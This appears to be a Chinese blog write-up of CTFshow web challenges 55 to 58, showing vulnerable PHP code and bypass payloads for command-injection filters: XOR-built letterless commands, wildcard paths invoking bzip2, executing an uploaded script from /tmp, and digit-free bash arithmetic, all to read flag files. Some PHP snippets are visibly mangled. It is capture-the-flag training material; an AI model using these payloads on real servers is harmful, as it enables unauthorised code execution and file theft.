CTFshow web(php命令执行 55-59)

web55

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 20:03:51

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

// 你们在炫技吗?

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|a-z|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

}else{

highlight_file(FILE);

}

遇到这类题目解法比较固定,这类题目一个解法是无字母RCE,运用自增和异或相关脚本构造system ls的另外形式,比如:("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

CTFshow web(命令执行 41-44)-CSDN博客

我的上一篇文章有介绍,建议可以去看看

这里是另外的做法:

复制代码
利用 bzip2打包,然后访问打包文件
c=/???/???/????2 ????.???    //对 flag.php 进行打包,默认打包后缀 bz2
接下来直接访问 url/flag.php.bz2,进行下载,获取 flag
直接等同于/usr/bin/bzip2 flag.php

题目知识点学习(牢牢掌握):

  1. /bin 目录:/bin 是系统的二进制目录之一,用于存放基本的执行命令。这些命令通常是系统启动和基本功能所必需的,因此在系统启动过程中就能访问到。

  2. 公用命令:/bin 目录存放了许多常用的命令,如 lscpmvrmmkdircat 等。这些命令用于完成文件和目录的管理、文本处理、文件传输等常见操作。

  3. 可执行文件:/bin 目录下的文件都是可执行文件,可以通过在命令行中输入命令来执行它们。

  4. 环境变量 PATH:在环境变量 PATH 中包含了一组目录的路径,其中包括 /bin 目录。这意味着当您在命令行中输入一个命令时,系统会自动搜索 /bin 目录以确认命令的可执行文件所在位置。

  5. 访问权限:/bin 目录下的文件通常有很高的访问权限,只有具有适当权限的用户才能对这些文件进行执行、读取或修改操作。通常,这些命令文件属于系统管理员(root)或具有特定权限的用户。

总结:其实过滤越多,越大的题目,看似面临着绝境,但其实也往往是机遇,因为这告诉你方向无非就两个:无回显RCE,以及/bin目录命令执行过滤,在过滤如此之大的时候其他方法都比较困难,这里掌握方法后直接套用就好了 。

web56

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 22:02:47

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

// 你们在炫技吗?

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|a-z|0-9|\\\|\\(\|\\{\|\\'\|\\"\|\\\`\|\\%\|\\x09\|\\x26\|\\\>\|\\\c)){

system($c);

}

}else{

highlight_file(FILE);

}

/bin 目录存放了许多常用的 Shell 命令,这些命令是通过 Shell 解释器来执行的,

其实也可以直接归属到shell命令里面,这里过滤的更恐怖数字字母都没有了,无回显RCE也很困难,这里直接使用shell命令

在linux里面临时存放文件的目录可能会被定时删除这个目录是/tmp,然后一般网页文件会命名为php???,后面是随机的字母,即:/tmp/phpXXXXXX
所以需要规定一个范围@-\[,从@-[就是26个字母然后关于上传文件的内容

php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了

直接上POSTman

payload:

?c=. /???/????????@-\[

POSTman使用:

在Postman中上传文件的方法如下:

打开后变成POST,把网页复制然后点击Body,

点击file模式,自己选择上传的文件,然后把名字写进去,最后Send就好

文件内容:

#!/bin/sh

cat flag.php

web57

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-08 01:02:56

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

// 还能炫的动吗?

//flag in 36.php

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|a-z|0-9|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){

system("cat ".$c.".php");

}

}else{

highlight_file(FILE);

}

这里一句话:其实就是构造出36

问题是过滤了数字的情况下怎么弄出36

那就回到了无回显RCE问题了
原理是:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36再进行取反

//${_}会输出上一次的执行结果

payload:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 22:02:47

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

// 你们在炫技吗?

if(isset($_POST'c')){

c= _POST'c';

eval($c);

}else{

highlight_file(FILE);

}

这里好多了,其实就是一个禁用函数,我还是那句话,如果你不知道对面禁用了啥,那就一个一个地尝试!!!

可以看看我的一篇文章,有很多命令执行语句攻击总结

一篇文章带你进阶CTF命令执行-CSDN博客

一个个丢进去,看那个能够中奖吧,因为你不知道对面过滤了啥!

payload:

POST:c=echo file_get_contents('flag.php');

PS:真诚地希望我的文章能够帮助大家,今年过年也是如约抽空更新了,祝愿各位龙年吉祥,谢谢!

相关推荐
溜达的大象10 小时前
服务器挂了等用户报障?我用Prometheus搭了一套监控告警,服务器出状况第一时间通知我
服务器·php·prometheus
持敬chijing11 小时前
Web渗透之SQL注入-文件读写-木马植入
sql·安全·web安全·网络安全·安全威胁分析
代码中介商12 小时前
C++左值与右值:核心判断法则详解
开发语言·c++
JAVA96512 小时前
JAVA面试-并发篇 05-并发包AQS队列实现原理是什么
java·开发语言·面试
Halo_tjn12 小时前
反射与设计模式1
java·开发语言·算法
持敬chijing13 小时前
Web渗透之SQL注入-联合查询注入-注入点数据类型判断
前端·sql·安全·web安全·网络安全·安全威胁分析
珊瑚里的鱼13 小时前
手撕单例模式中的饿汉模式和懒汉模式,懒汉模式还要再多加一个C++11版本的
开发语言·c++·单例模式
_不会dp不改名_13 小时前
python-opencv环境搭建
开发语言·python·opencv
HappyAcmen13 小时前
9.复盘API全套流程
开发语言·python
charlie11451419114 小时前
通用GUI编程技术——图形渲染实战(四十五)——D3D12资源与堆管理:从上传到驻留
开发语言·3d·图形渲染·win32